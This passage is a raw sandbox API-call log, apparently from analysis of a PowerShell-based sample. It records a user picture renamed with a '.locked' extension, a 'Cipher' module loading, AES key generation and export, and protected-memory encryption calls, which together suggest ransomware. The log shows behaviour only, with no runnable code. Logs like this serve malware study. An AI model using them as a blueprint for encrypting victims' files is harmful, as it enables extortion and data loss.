EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.241] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.241] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.242] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.242] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.243] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.243] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.243] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0137.244] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.244] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.246] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x8d64\x7411") returned 0x0 [0137.246] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.246] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.246] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.249] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x699fc58 | out: lpFileInformation=0x699fc58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15035656, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15035656, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1505ba1e, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xd514)) returned 1 [0137.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.249] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked", lpFilePart=0x0) returned 0x35 [0137.249] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.249] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.249] CloseHandle (hObject=0x764) returned 1 [0137.250] GetConsoleOutputCP () returned 0x1b5 [0137.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.251] GetConsoleOutputCP () returned 0x1b5 [0137.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.251] GetConsoleOutputCP () returned 0x1b5 [0137.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.252] GetConsoleOutputCP () returned 0x1b5 [0137.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.253] GetConsoleOutputCP () returned 0x1b5 [0137.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.253] GetConsoleOutputCP () returned 0x1b5 [0137.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.254] GetConsoleOutputCP () returned 0x1b5 [0137.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.254] GetConsoleOutputCP () returned 0x1b5 [0137.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.254] GetConsoleOutputCP () returned 0x1b5 [0137.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.255] GetConsoleOutputCP () returned 0x1b5 [0137.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.255] GetConsoleOutputCP () returned 0x1b5 [0137.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.256] GetConsoleOutputCP () returned 0x1b5 [0137.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.264] GetConsoleOutputCP () returned 0x1b5 [0137.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.265] GetConsoleOutputCP () returned 0x1b5 [0137.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.265] GetConsoleOutputCP () returned 0x1b5 [0137.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.266] GetConsoleOutputCP () returned 0x1b5 [0137.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.266] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.266] GetConsoleOutputCP () returned 0x1b5 [0137.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.267] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.267] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69c709c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69c709c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.268] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.268] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.272] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.272] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.272] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.273] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.273] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.273] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.274] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396a38) returned 1 [0137.275] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0137.275] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.275] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.275] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69d0930, pdwDataLen=0x99ae894 | out: pbData=0x69d0930*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.275] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.275] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.275] SysStringLen (param_1="") returned 0x8 [0137.275] SysStringLen (param_1="B") returned 0x8 [0137.275] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="\xb772\xbd31\xac08\xd5cd\x639a\x2ae0\xcff8\x29f7") returned 0x8 [0137.276] SysStringLen (param_1="\xb772\xbd31\xac08\xd5cd\x639a\x2ae0\xcff8\x29f7") returned 0x8 [0137.276] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="Bj") returned 0x8 [0137.276] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="\xc311\x2324\xfd4b\x4731\xa5c7\x8c1c\x4e53\xb403") returned 0x8 [0137.276] SysStringLen (param_1="\xc311\x2324\xfd4b\x4731\xa5c7\x8c1c\x4e53\xb403") returned 0x8 [0137.276] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="Bjy") returned 0x8 [0137.276] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="\x77cf\x9ba6\xfbed\x6a4a\x5bd1\xd6b2\x6bfa\x5adf") returned 0x8 [0137.276] SysStringLen (param_1="\x77cf\x9ba6\xfbed\x6a4a\x5bd1\xd6b2\x6bfa\x5adf") returned 0x8 [0137.276] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="Bjy6") returned 0x8 [0137.276] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.276] SysStringLen (param_1="\x2c2\x98c9\x13a0\x15c\xbe61\x927b\x3c54\x423c") returned 0x8 [0137.276] SysStringLen (param_1="\x2c2\x98c9\x13a0\x15c\xbe61\x927b\x3c54\x423c") returned 0x8 [0137.276] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="Bjy6j") returned 0x8 [0137.277] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="\x7c3e\x77d7\x367b\xd79d\x73b4\x88c1\xa662\x3aa0") returned 0x8 [0137.277] SysStringLen (param_1="\x7c3e\x77d7\x367b\xd79d\x73b4\x88c1\xa662\x3aa0") returned 0x8 [0137.277] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="Bjy6jO") returned 0x8 [0137.277] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="\xfc68\x2f52\x6871\x57e7\xd574\xf481\xfb87\xabc0") returned 0x8 [0137.277] SysStringLen (param_1="\xfc68\x2f52\x6871\x57e7\xd574\xf481\xfb87\xabc0") returned 0x8 [0137.277] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="Bjy6jO2") returned 0x8 [0137.277] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="\xd28\x7daa\x55ff\xe5d6\xf8a1\x5f8a\xbda8\x5424") returned 0x8 [0137.277] SysStringLen (param_1="\xd28\x7daa\x55ff\xe5d6\xf8a1\x5f8a\xbda8\x5424") returned 0x8 [0137.277] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="Bjy6jO2J") returned 0x8 [0137.277] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.277] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848") returned 0x8 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848") returned 0x8 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848") returned 0x8 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848") returned 0x10 [0137.278] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="Bjy6jO2J2⩽渢ꋱ㭾쒓耥") returned 0x10 [0137.278] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x4fb1\x8b89\x4852\x1afe\xd134\x2a96\xb21d\xe117") returned 0x10 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x4fb1\x8b89\x4852\x1afe\xd134\x2a96\xb21d\xe117") returned 0x10 [0137.278] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | 